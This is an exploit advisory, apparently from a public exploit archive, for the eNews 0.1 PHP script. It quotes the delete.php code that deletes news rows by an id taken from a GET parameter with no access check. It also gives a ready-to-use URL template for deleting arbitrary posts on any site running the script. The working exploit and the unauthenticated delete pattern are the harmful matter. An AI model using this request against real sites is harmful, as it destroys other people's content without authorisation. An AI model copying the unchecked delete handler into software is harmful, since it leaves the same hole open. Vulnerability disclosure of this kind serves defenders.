eNews 0.1 (delete.php) Arbitrary Delete Post Vulnerability

eNews 0.1 (delete.php) Arbitrary Delete Post Vulnerability Author: iLker Kandemir [MEFISTO] Script download : http://www.hotscripts.com/Detailed/81086.html script demo : http://emvvy.com/demos/enews/ site : www.dumenci.net ---------------------------------------------------------------- //poc: if ((isset($_GET['delete'])) && ($_GET['delete'] != "")) {   $deleteSQL = sprintf("DELETE FROM news WHERE id=%s",                        GetSQLValueString($_GET['delete'], "int")); ---------------------------------------------------------------- //exploit : http://[site]/delete.php?delete=[eNews_id] ---------------------------------------------------------------- tnx : aLL my FriEndZ